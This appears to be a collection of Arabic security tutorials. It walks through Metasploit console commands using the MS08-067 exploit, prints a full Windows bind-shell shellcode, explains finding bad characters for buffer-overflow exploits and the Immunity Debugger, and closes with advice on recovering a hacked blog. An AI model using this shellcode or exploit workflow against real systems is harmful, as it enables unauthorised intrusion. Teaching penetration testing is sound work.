x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai
أمر (unset) :
وهذا الامر هو عكس امر ‘set’.ويقوم بأزإلة المتغيرات التي قادم بضبطها وإضافتها أمر ‘set’، ويمكنك إزالة جميع المتغيرات مره واحده بأمر ‘unset all’.
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set Global
======
No entries in data store.
أمر (sessions) :
هذا الامر يقوم بعرض و التفاعل او انهئ او تنقل بين الجلسات التي تكون فعالة وهذه الجلسات تكون عبارة عن شل(shell)، ميتربريتر(Meterpreter sessions) او VNC … الخ.
msf > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions
-c Run a command on the session given with -i, or all
--d Detach an interactive session
-h Help banner
-i Interact with the supplied session ID
--k Terminate session
--l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s Run a script on the session given with -i, or all
-u Upgrade a win32 shell to a meterpreter session
-v List verbose fields
ولكي تقوم بعرض الجلسات(sessions) النشطة، مرر حرف ‘-l’ الى امر ‘sessions’.
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.20:33191 ->; 192.168.1.22:4444
عندما تريد التعامل مع أحد الجلسات النشطة، فعليك تمرير المتغير ‘-i’ متبوع برقم الجلسة ‘session id’ لاحظ المثال التالي:
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32
أمر (search) :
يقوم هذا الامر ببحث شامل داخل الموديلز(modules) وبادخال جز من اسم الموديل او الاسم كامل فيقوم بعرض بيانات الموديل من الاسم، وصف عن الموديل … الخ.
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...
Exploits
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption
أمر (show) :
بأدخال أمر ‘show’ في ‘msfconsole’ سوف يعرض لك كافة الموديلز ‘modules’ داخل MSF .
msf > show
encoders
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
...ألخ..
وأيضاً بمكانك عرض كل موديلز على حدة مثل ‘show auxiliary’، ‘show exploits’، ‘show payloads’،
‘show encoders’ او ‘show nops’. سوف اتركك عزيزي القراء لكي تقوم بتجربة هذه الاوامر.
سوف نقوم بستخدام معين لامر ‘show’ عندما تقوم باختيار ثغرة معينة ولناخذ على سبيل المثال ‘ms08_067_netapi’
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
في الامر السابق لقد قمنا باختيار ثغرة ‘ms08_067_netapi’. وفي الامر التالي سوف نقوم بعرض فقط الباي لودز ‘payloads’ التي تتوافق فقط مع الثغرة، ولنفرض ان الثغرة تستهدف فقط انظمة ويندوز، سوف يعرض فقط الباي لودز المتعلقة با الوندوز ولن يعرض الباي لودز الخاصه بنظام لنيكس.
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
----------- ---- --------------- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser
…الخ…
والان نريد ان نعرض الخيارات المتطلبة لتنفيذ هذه الثغرة مثل ايبي الهدف و البورت وغيرها لاحظ المثال التالي :
msf exploit(ms08_067_netapi)> show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER,SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
وإذا لم تكن متاكد اي إصدار من نظام التشغيل مصاب بهذه الثغرة قم بتنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
…الخ…
وإذا كنت تريد مشاهدة خيارات متقدمة فماعليك الا تنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
أمر (setg) :
إذا كنت تريد ان تحفظ الكثير من الوقت عند عملك اختبار اختراق لنظام معين با إستطاعتك تحديد بعض
‘global variables’ في ‘msfconsole’. وذلك بأستخدام أمر ‘setg’ وعندما يتم تحديد المتغير بستطاعتك
إستخدامة في العديد من (exploits and auxiliary modules) وأيضا تستطع حفظهم لكي تقوم باستخدامهم في المره القادمة، ويجب عليك التاكد دئماً من جميع الخيارات قبل تفيذك أمر ‘run’ او ‘exploit’. وبالمقابل يمكنك إزلة هذه المتغيرات بستخدامك أمر ‘unsetg’ لاحظ المثالي التالي:
msf > setg LHOST 192.168.1.20
LHOST => 192.168.1.20
msf > setg RHOST 192.168.1.22
RHOST => 192.168.1.22
وبعد تحديد بعض المتغيرات مثل عنوان الايبي المحلي و عنوان الايبي البعيد او الهدف يمكننا حفظ هذه التغيرات بامر ‘save’. وفي المره القادمة عند تشغيل ‘msfconsole’ سوف تكون هذه المتغيرات مضبوطه مثلما حددناها.
msf > save
Saved configuration to: /root/.msf3/config
msf >
أمر (use) :
عندما تريد استخدام موديل ‘module’ لثغرة معينة إستخدم أمر ‘use’ ومن ثم اختر اسم الموديل. ولاحظ ان ‘global variables’ قمنا بضبطها في الامر السابق لكي تشير الى عنوان ايبي الهدف وعنوان الوكال الايبي .
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
RHOST 192.168.1.22 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
0 Automatic Targeting
تحويل الـ Shellcode من Hex إلى Binary و العكس
غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe لكن ماذا لو لم تناسبنا أي من هذه الـ Shellcodes لعلة معينه ؟ وقتها سنتحتاج أن نبحث على Shellcodes من مصادر أخرى و قد نجدها بامتداد “bin” وقتها, سنحتاج إلى تحول الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا.
في هذه الحالة سنحتاج إلى تحميل السكربت pveReadbin.pl لمبرمجه Peter Van.
أيضا قد تواجه حالة تحتاج فيها أن يكون الـ Shellcdoe خاصتك في ملف binary, مثلا في حالة استخراج الـ Bad Characters و في هذه الحالة سنحتاج إلى تحميل السكريبت pveWritebin.py
تحويل الـ Shellcode من Binary إلى Hex
– لتحميل الأداة pveReadbin
– طريقة الاستخدام
perl pveReadbin.pl shellcode.bin
مثال:
perl pveReadbin.pl w32-bind-ngs-shellcode.bin
Reading w32-bind-ngs-shellcode.bin
Read 214 bytes
--------------------------------------------
Displaying bytes as hex :
--------------------------------------------
"\x31\xc9\x64\x8b\x71\x30\x8b\x76".
"\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b".
"\x7e\x20\x8b\x36\x38\x4f\x18\x75".
"\xf3\x51\x68\x32\x5f\x33\x32\x68".
"\x66\x56\x77\x73\x68\xb7\x8f\x09".
"\x98\x89\xe6\xb5\x03\x29\xcc\x29".
"\xcc\x89\xe7\xd6\xf3\xaa\x41\x51".
"\x41\x51\x57\x51\x83\xef\x2c\xa4".
"\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78".
"\x01\xeb\x8b\x4b\x20\x01\xe9\x56".
"\x31\xd2\x42\x8b\x34\x91\x01\xee".
"\xb4\x36\xac\x34\x71\x28\xc4\x3c".
"\x71\x75\xf7\x3a\x27\x75\xeb\x5e".
"\x8b\x4b\x24\x01\xe9\x0f\xb7\x14".
"\x51\x8b\x4b\x1c\x01\xe9\x89\xe8".
"\x03\x04\x91\xab\x80\x3e\x09\x75".
"\x08\x8d\x5e\x04\x53\xff\xd0\x57".
"\x95\x80\x3e\x73\x75\xb1\x5e\xad".
"\xff\xd0\xad\xff\xd0\x95\x81\x2f".
"\xfe\xff\x8f\x33\x6a\x10\x57\xad".
"\x55\xff\xd0\x85\xc0\x74\xf8\x31".
"\xd2\x52\x68\x63\x6d\x64\x20\x8d".
"\x7c\x24\x38\xab\xab\xab\xc6\x47".
"\xe9\x01\x54\x87\x3c\x24\x57\x52".
"\x52\x52\xc6\x47\xef\x08\x57\x52".
"\x52\x57\x52\xff\x56\xe4\x8b\x46".
"\xfc\xe9\xca\xff\xff\xff";
Number of null bytes : 0
--------------------------------------------
Displaying bytes as ascii :
--------------------------------------------
تحويل الـ Shellcode من Hex إلى Binary
– لتحميل الأداة pveWritebin
– طريقة الاستخدام
افتح السكربت و استبدل العبارة “Put You Shellcode Here Line“ بالـ Shellcode خاصتك
#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode="Put You Shellcode Here Line1".
"Put You Shellcode Here Line2".
"Put You Shellcode Here Line3";
#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file\n";
ثم نفذ السكريبت بهذه الطريقة
perl pveWritebin.pl shellcode.bin
تحذير!!
احذر من أن تستخدم Shellcode غير موثوق و اعرف محتويات هذا الملف (لأنه يقد يحتوي على أوامر تضر بنظامك!!) بالطرق التالية:
– على اللنوكس -> strings
strings shellcode.bin
– على ويندوز -> type
type shellcode.bin
تحياتي و احترامي
إيجاد الـ Bad Characters في الـ Shellcode
مقدمة
في مرحلة من مراحل كتابتنا لثغرة BufferOverflow فإننا قد نعاني من مشكلة مملة و نجد أن الـPayload يعطّل الـ Exploit بكامله مع أننا قد تأكدنا أن كل شئ يمشى بأفضل حال قبل وضع الـ Shellcode الحقيقي. السبب في ذلك هو وجود الـ Bad Characters أو الـ Restricted Characters.
ستكتشف تلك المشكلة عندما تضع نقطة وقوف Break Point في الـ Debugger ولكن عند تنفيذ الثغرة لن تصل إلى ذلك العنوان. أو أنك ستصل ولكن الـ Shellcode لن يعمل (بشرط تأكدك أن جميع الأجزاء الأخرى سليمة).
ما هي الـ Bad/Restricted Characters؟
هي Characters عادية من ضمن الـ Shellcode يتم عمل Decoding لها بشكل طبيعي ولكن لها معنى لا يقبله البرنامج المصاب كأن يكون هذا الـ Characters سيدخل في تسمية ملف مثلا و فلو فرضنا أن في الشل كود قيمة ستدخل في تسمية ملف ما و كانت القيمة “\x7D” و التي تعني “}” و من المعروف أننا لا نستطيع وضع هذا الحرف في إسم ملف فوقتها سيوقف هذا الحرف مجرى عملية الـ Decoding للـ Shellcode.
قد يبدر إلى أذهاننا بعض الأسئلة, منها..
س/ هل جميع البرامج المصابة سيكون بها Bad Characters Restriction ؟
ج/ لا
س/ هل يوجد Bad Characters أساسية يجيب أزيلها من أي Shellcode أقوم بعمله؟
ج/ نعم, هما: x00 و x0d
س/ هل كل البرامج لها نفس الـ Bad Characters أي أنني أستطيع أن أحذف كل ما تم اكتشافه سابقا في البرامج اللاحقة؟
ج/ لا, لكل برنامج Bad Characters مختلفة تختلف بطبيعة البرنامج و طريقة تنفيذه
س/ هل يمكن أن يحتوي البرنامج على أكثر من Bad Character واحد ؟
ج/ للأسف نعم
إيجاد الـ Bad Characters – الطريقة الأولى
في البداية, هذه الطريقة هي طريقة مملة و مرهقة جدا و إن كنت سأعطيها إسما فلا أجد أفضل من “طريقة السكتة الدماغية“ حيث يتوقف العقل عن التفكير تماما مع الحاجة إلى الكثير من العمل الممل إلا إذا كنت محظوظ و وجدت الحرف في أول سطر أو سطرين, وأمر الحظ بالذات غير متوفر بالنسبة لي شخصيا.
تعتمد هذه الطريقة على إنشاء جميع احتمالات الحروف من 0-255 عن طريق سكريبت يسمى generatecodes.pl.
في البداية تقوم بتنفيذ السكريبت مع إزالة الـBad Characters الشائعة x00 و x0d .
./generatecodes.pl 00,0d
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e"
"\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d"
"\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a"
"\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79"
"\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97"
"\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6"
"\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3"
"\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1"
"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
الأن نأخذ أول سطر من المخرجات و نستبدل الـ Shellcode بهذا السطر و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الأول.
مثال:
shellcode = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10")
الأن نضيف السطر الثاني من المخرجات إلى السطر الأول و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الثاني, و هكذا.
مثال:
shellcode = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f")
عندما لا نصل للعنوان الصحيح, نقوم بقسم السطر الذي وصلنا عنده و حصل عنده خطأ في النتائج و نستبدل النصف الأول منه بـ “\x41” مثلا . ثم نجرب فإن حصل خطأ, فهذا يعني أن الـ Bad Character في النصف الأخر, وقتها نبدأ نغير حروف النصف الثاني من السطر الأخير إلى “\x41” و نجرب في كل مره حتى نصل أنه لا يوجد خطأ في النتائج و عندها سنعرف ال Bad Character
مثال:
"\x41\x41\x41\x41\x41\x41\x41\x41\x28\x29\x2a\x2b\x2c\x2d\x2e"
سنفترض أننا وجدنا و أنه “x0a” إذا سنقول بعمل الأتي
./generatecodes.pl 00,0d,0a
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b"
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89"
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7"
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4"
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3"
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
و نتأكد مرة أخرى, لو لظهر أي خطأ في مجرى سير البرنامج في الـ Debugger إذن كل شئ على ما يرام. و إن لم!!, فهذا يعني -ولا حول ولا قوه إلا بالله- أنه يوجد Bad Character أخر و يجب أن تكمل المسيرة حتى تجده.
إيجاد الـ Bad Characters – الطريقة الثانية – تحديث 19/2/2013
قام فريق Corelan بإيقاف تطوير الإضافة pvefindaddr واستبدلها بالإضافة الجديدة والأفضل mona.py مع استخدام الدالة compare
حمل الإضافة من هنا mona.py
كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger في المسار التالي
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
ثم ضع ملف الـ Shellcode في الـ C حيث يكون مساره
c:\shellcode.bin
ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط
الأن ضع الـ Break point خاصتك ثم نفذ الـ exploit الذي يحتوي على الـ shellcode الحقيقي
بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar في الـ Immunity Debugger
!mona compare c:\shellcode.bin
ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه
الأن اذهب إلى نافذة الـسجلات من
View >> Log أو اضغط ALT + L
ستجد التالي: (يرجى تكبير الصورة)
كما ترى في حالتي كانت الـ Bad Characters هي 5c و 2f
أيضا تستطيع أن تجد النتائج في ملف compare.txt على هذا المسار
“C:\Program Files\Immunity Inc\Immunity Debugger“
(هذا المسار يحتوي على معظم نتائج استخدام mona.py).
إيجاد الـ Bad Characters – الطريقة الثانية
في البداية أحب أن أرفع القبعة إلى Peter Van رئيس فريق Corelan و هو من أشهر و أقوى الأشخاص في شرح الـ Buffer Overflow ومبرمج للعديد من السكربتات المفيدة جدا في هذا المجال.
الطريقة الثانية هي عن طريق إضافة رائعة إسمها pvefindaddr مع استخدام الدالة compare
ملاحظة: لا تنسى إضافة pvefindaddr فلها استخدامات كثيرة و رائعة في الـ Buffer Overflow
كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger في المسار التالي
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
ثم ضع ملف الـ Shellcode في الـ C حيث يكون مساره
c:\shellcode.bin
ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط
الأن ضع الـ Break point خاصتك ثم نفذ الـ exploit الذي يحتوي على الـ shellcode الحقيقي
بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar في الـ Immunity Debugger
!pvefindaddr compare c:\shellcode.bin
ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه
الأن اذهب إلى نافذة الـسجلات من
View >> Log أو اضغط ALT + L
ستجد التالي: (يرجى تكبير الصورة)
كما ترى في حالتي كانت الـ Bad Characters هي 5c و 2f
أيضا تستطيع أن تجد النتائج في ملف compare.txt على هذا المسار
“C:\Program Files\Immunity Inc\Immunity Debugger“ (هذا المسار يحتوي على معظم نتائج استخدام pvefindaddr).
تحياتي واحترامي
شرح امكانيات برنامج Immunity debugger – الواجهة
مقدمة
الـ Debugger أو المنقّح, هو برنامج يستخدم لتتبع عمل البرامج و كيفية تنفيذ التعليمات و الأوامر من جهة المعالج. و من هذا المنطلق احتاجه باحثو ثغرات البرامج لمعرفة تنفيذ و سيل البرنامج للتلاعب في هذه الجزئية تحديدا.
شرحنا البسيط اليوم سيكون على برنامج Imuunity Debugger و الذي يتفوق على الكثير من قرنائه لسهولة التعامل معه و لكثرة إضافاته و قوتها مما اعطاه شعبية كبيرة في وسط متكشفي الثغرات(Buffer Overflow) و بالذات أن مبرمجي هذا البرنامج قد صنعوه لهذا الغرض خصّيصا.
Immunity Debugger برنامج مجاني و لكن للأسف ليس مفتوح المصدر, يعمل على نظام ويندوز و تستطيع تشغيله على اللينوكس ببرنامج الـ Wine. و يعمل بكفائة جيدة.
شرح الواجهة
تتكون الواجهة الرئيسية من 4 نوافذ صغيرة داخل إطار أو نافذة كبيرة, هذه النافذة تسمي الـ CPU window كما وجب أن أذكر لكم أن البرنامج يحتوي على العديد من النوافذ الكبيرة و التي تختلف في عملها بالبطع.
النافذة العلوية اليمنى
تعرض الـ Registers و قيمها أثناء تنفيذ البرنامج.
النافذة العلوية اليسرى
تعرض تعليمات لغة الآلة التي تحول إليها كود البرنامج المراد فحصه
النافذة السفلية اليمنى
تعرض ما يحتويه الـ Stack من عناوين و جزء من البيانات اللتي يحتويها هذا العنوان
النافذة السفلية اليسرى
تعرض ما يحتويه الـ Stack من و عناوين و كل البيانات بشكل تفصيلي بشكلين (Hex و ASCII)
شريط حالة الـ Debugger
يعرض حالة المنقح نفسه بالنسبة لتنفيذ أوامر البرنامج و تتبعه لها. كما يحتوي جزء مسطيل يبين حالة البرنامج الحالية و هي حالة من الحالات التالية
Running: أي أن البرنامج يعمل بشكل كامل بكل وظائفه الطبيعية
Pause: أي أن المنقح قد احتوى البرنامج و لكنه لم يسمح له بالبدء في العمل و هذا يحصل عند بداية ادخال البرنامج في المنقّح -يجب تشغيله بنفسك- و أيضا عند حصول أي شئ يخرج البرنامج من مسار عمله الطبيعي
Terminated: أي أن البرنامج قد تعطل تماما و هذا يتلطب منك إعادة تشغيله من مجديد
شريط سطر الأوامر
يحتوي المنقّح على سطر أوامر يسمح لك بتنفيذ أوامر داخليه في المنقّح أو أوامر لإضافات موجوده أو إضافات أنت تضيفها إلى البرنامج لعمل شئ معين
بعض الاختصارات المفيدة
f2 = لإجبار البرنامج على التوقف عند عنوان معين في البرنامج و تسمى Break Point (للقيام بنفس المهمه بالأوامر من شريط الأوامر نفذ الأمر bp address )
f7 = نفّذ عملية واحدة إلى الأمام
f9 = شغّل البرنامج
shift + f9 = عندما يتوقف البرنامج بسبب حدوث عملية استثنائية فإن الاختصار f7 لا يفيدنا في هذه الحالة لهذا يتم تجاوز هذا الوضع بهذا الاختصار
CRTL + G = للذهاب مباشرة و عرض عنوان محدد في الذاكرة
Alt + C = عرض النافذة الرئيسة CPU
Alt + E = عرض نافذة الـ Executable Modules و تحتوي على المكتبات (ملفات الـ dll) التي يحملها البرنامج المراد تنقيحه ليعمل بشكل طبيعي.
CTRL + L = عرض نافذة السجلات Log Windows و التي تعرض أي حدث يحصل مع المنقح
ملاحظة: الاختصارات تختصر كثير من الوقت و أراها مهمة كما أن معرفه أماكن الأشياء بدون اختصارات أيضا مهم.
التحميل
كيف تستعيد السيطرة بعد اختراق المدونة
التدوين من اكثر اشكال التعبير الكتابي شعبية على الانترنت، سواء كان للاستعمال الشخصي او لقطاع الاعمال. و كان الارتفاع في شعبية المدونات بفضل خدمات التدوين المجانية مثل Blogspot® و WordPress®، اثنان من اكبر مطوري خدمات التدوين.
المدونون الذين اختاروا فتح حساب تدوين مع Blogger™ او WordPress® يحصلون على الخدمات بالاضافة الى دعم و صيانة محترفة من قبل المزود. لهذا السبب عدد الحوادث الأمنية في الغالب أعلى في المدونات التي يقوم المدون باستضافتها و العاملة على نسخ قديمة من برنامج CMS و التي تملك نقاط الضعف المختلفة أو خادم غير مهيّأ بشكل جيّد.
اذا كنت تقرأ هذا المقال، فهناك فرصة ان مدونتك ليست بأفضل حالاتها. مع ذلك، فان التعرض للاختراق ليس نهاية العالم، مع ان التعافي من هجوم إختراق ناجح هو تجربة مضنية. الخلاصة هو انه كلما تعرفت اسرع على محاولة الاختراق و قمت بحل المشكلة، قلّت الاضرار التي ستتعرض لها مدونتك. ادناه ستجد لائحة للاجراءات الواجب اتخاذها فوراً عندما تلاحظ ان مدونتك تتصرف بطريقة مشبوهة:
1- بعد ملاحظتك مباشرة ان هناك شيء ليس على ما يرام بمدونتك، اول اهتماماتك ان تقوم بإغلاق مدونتك لحماية مستخدميك من التعرض للبرامج الضارة. بالاضافة الى أن ايقاف محركات البحث من الزحف الى مدونتك سيوفر عليك الكثير من الجهد لاحقاً. اذا كانت مدونتك تستضيف برامج ضارة او تعمل على تحويل المستخدمين الى صفحات الويب الخطرة، ستقوم محركات البحث بتصنيف مدونتك كموقع مهاجم و ستعمل على فلترته من نتائج البحث. (إعادة الأمور إلى نصابها مع محرّك البحث عملية شاقّة وتستغرق وقتاّ طويلاً)
2- يمكنك ايقاف الولوج الى مدونتك عن طريق اضافة سطر واحد في الملف htaccess في مجلد root. يجب ان يشير الملف الى ” حجب الجميع” (Deny from All). اذا كنت تشغل مدونتك على نظام خادم مختلف غير Apache، او انه غير مسموح لك باستعمال ملفات .htaccess ، يمكنك عندها اغلاق مدونتك عن طريق اعادة تسمية صفحة Index.php لشيء آخر و استبدال صفحة الفهرس بصفحة مزيفة او فارغة.
احذر: لا تترك مجلد الجذر من دون صفحة فهرس لأن هذا قد يؤدي الى كشف كافة الملفات في خادمك.
بعد ذلك قم بعمل نسخ احتياطية من مجلدك سواء باستخدام بروتوكول نقل الملفات او عن طريق ميزة النسخ الاحتياطي المضمنة cPanel، اذا توفرت. تذكر بن تقوم بانشاء ملف تفريغ SQL لقاعدة بيانات المدونة. بعد القيام بعملية النسخ الاحتياطي، قم بمسح الملفات باستخدام أحد برامج مكافحة الفيروسات لانه ممكن اضافة الكثير من النصوص الضارة من قبل المجرمين و يستطيع مكافح الفيروسات ايجادها عن طريق مسح النصوص.
3- قم بتحميل سجلات الوصول من خادم الويب و تخزينها في مكان آخر آمن. هذه العملية هي حساسة من ناحية الوقت لان معظم مزودي خدمة الاستضافة توفر هذه السجلات لمدة 12 او 24 ساعة. محلل الولوج سيساعدك على معرفة كيف تم اختراق مدونتك و ماذا فعل المخترقون خلال فترة سيطرتهم على المدونة. التعرف على نقطة الفشل سوف تساعدك على تأمين الخرق الحاصل و وضمان ان لا يتم الاختراق مرة أخرى باستخدام نفس التقنية.
4- اخرج الملفات الضرورية من التسخة الاحتياطية التي قمت بتنزيلها. و بالضرورية، اعني كل شيء لا تستطيع تنزيله من الويب مجدداً و الذي تحتاجه لبداية جديدة. تأكد من انك قمت بأخذ وظيفة التوصيل المعدلة، السمات المرئية و كل الملفات التي تم تحميلها كونها المحتوى: الصور و الملفات و غيرها.
